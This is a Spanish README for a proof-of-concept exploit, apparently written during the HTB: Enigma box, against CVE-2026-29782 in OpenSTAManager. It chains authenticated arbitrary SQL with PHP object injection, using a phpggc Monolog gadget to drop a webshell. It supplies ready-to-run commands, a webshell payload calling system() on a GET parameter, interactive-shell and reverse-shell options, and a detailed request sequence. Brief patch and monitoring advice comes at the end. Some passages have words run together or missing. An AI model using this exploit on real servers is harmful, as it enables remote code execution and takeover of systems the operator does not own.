
Prueba de concepto de exploit para CVE-2026-29782, que encadena inyección SQL e inyección de objetos PHP para lograr ejecución remota de código en OpenSTAManager. Incluye opciones de despliegue de webshell y shell inversa.
PoC para ejecución remota de código en OpenSTAManager ≤ 2.10.1.
oauth2.php busca una fila zz_oauth2 mediante el parámetro GET state controlado
por el atacante y llama a unserialize() sobre su columna access_token sin
una restricción allowed_classes (Models\OAuth2::checkTokens() /
getAccessToken()). Eso es un sumidero de inyección de objetos PHP.
Por sí solo no es explotable — no puedes colocar el objeto. Encadenado con la funcionalidad de SQL arbitrario sin restricciones en el módulo (, sin lista blanca de consultas en la línea 2.9.x — ), un administrador autenticado puede un gadget POP serializado en y luego solicitar para detonarlo.
op=risolvi-conflitti-databaseGHSA-2fr7-cc4f-wh98INSERTARzz_oauth2.access_tokenoauth2.phpauth (admin)
└─ POST /actions.php op=risolvi-conflitti-database ← SQL arbitrario
└─ INSERT del blob gadget en zz_oauth2.access_token (clave por `state`)
└─ GET /oauth2.php?state=<state>&code=x
└─ Models\OAuth2::configure() → needsConfiguration()
→ getAccessToken() → checkTokens() → unserialize($access_token)
└─ gadget POP __destruct() → escritura de archivo
└─ GET /<webshell>.php?c=<cmd> ← ejecución de código como usuario web
⚠️ Solo pruebas autorizadas. Publicado con fines educativos, para CTF (escrito contra HTB: Enigma) e investigación defensiva. Ejecutarlo contra sistemas que no posees o para los que no tienes permiso escrito explícito es ilegal. Sin garantía. Ver LICENSE.
| Producto | OpenSTAManager (devcode-it/openstamanager) |
| Sumidero de inyección de objetos | ≤ 2.10.1 — corregido en 2.10.2 (unserialize($v, ['allowed_classes' => [AccessToken::class]])) |
| Cadena de SQL arbitrario | línea 2.9.x (risolvi-conflitti-database obtuvo una lista blanca más tarde en 2.10.x) |
| Verificado contra | 2.9.8, PHP 8.3, MySQL 8.0 |
El árbol 2.9.x incluye monolog/monolog ^3.0, por lo que este PoC usa un gadget
de escritura de archivo Monolog 3.x (phpggc Monolog/FW1) para soltar el webshell.
Eso evita deliberadamente depender de que system()/exec() estén habilitados o de
qué componentes de Laravel estén presentes.
requests — pip install -r requirements.txtphpggc + CLI de php en PATH
(solo se usa para construir el gadget; o proporciona --payload-file con un blob preconstruido)git clone https://github.com/ambionics/phpggc
export PATH="$PWD/phpggc:$PATH"
pip install -r requirements.txt
./exploit.py -u http://TARGET -U admin -P 'password' [acción]
acciones:
--cmd 'id' ejecutar un comando, mostrar salida
--shell prompt interactivo básico
--lhost 10.10.14.5 --lport 4444 reverse shell bash
--drop-only solo soltar el webshell, imprimir su URL
flags útiles:
--module-id 6 id del módulo Aggiornamenti (por defecto 6)
--phpggc ./phpggc/phpggc ruta a phpggc
--payload-file blob.bin omitir phpggc, usar un blob Monolog/FW1 pregenerado
--webshell-name name.php nombre de archivo soltado en la raíz web
--proxy http://127.0.0.1:8080
--keep dejar la fila zz_oauth2 inyectada en su lugar
# probar RCE
./exploit.py -u http://support.example.htb -U admin -P 'hunter2' --cmd 'id; uname -a'
# interactivo
./exploit.py -u http://support.example.htb -U admin -P 'hunter2' --shell
# reverse shell (ejecuta primero `nc -lvnp 4444`)
./exploit.py -u http://support.example.htb -U admin -P 'hunter2' --lhost 10.10.14.5 --lport 4444
Pregenerar el gadget manualmente (equivalente a lo que hace el script):
printf '%s' '<?php echo "|OSMSH|"; @system($_GET["c"]); ?>' > ws.php
phpggc -a -f Monolog/FW1 osm_shell.php ws.php > blob.bin
./exploit.py -u http://TARGET -U admin -P pass \
--payload-file blob.bin --webshell-name osm_shell.php --cmd id
-a = codificación de cadena S: segura para ASCII (sobrevive byte a byte a la columna TEXT);
-f = destructor rápido (el objeto se dispara inmediatamente después de unserialize(), antes
de que OpenSTAManager llame a ->hasExpired() sobre él y lance una excepción).
POST /index.php op=login&username=&password= (éxito = 302
fuera de index.php).POST /actions.php
op=risolvi-conflitti-database&id_module=6&queries=<json-array>. Cada elemento
se pasa a $dbo->query(); la rama 2.9.x no aplica ninguna lista blanca. El PoC
añade un par CREATE TABLE … / DROP TABLE … para forzar un COMMIT implícito
(el endpoint deja los escritos en una transacción sin confirmar). El
handler también muestra el texto de error de MySQL, lo que da un oráculo de lectura
extractvalue() (OSM.sql_extract() en el código).INSERT en zz_oauth2 una fila con un state conocido y
access_token = 0x<hex(gadget)>; class se establece al proveedor real
Modules\Emails\OAuth2\Google.GET /oauth2.php?state=<state>&code=x. configure() llama a
needsConfiguration() → getAccessToken() → checkTokens() →
unserialize($this->access_token) sin allowed_classes. El __destruct del gadget
Monolog escribe el webshell. La respuesta es HTTP 500 — esperado.GET /<webshell>?c=<cmd> → system().unserialize($v, ['allowed_classes' => [AccessToken::class]]) y el ejecutor de SQL
de Aggiornamenti tiene lista blanca.modules/aggiornamenti/ a administradores de confianza; supervisa los
escritos en zz_oauth2 y las solicitudes a oauth2.php.Investigación y PoC durante el rooteo de HTB: Enigma.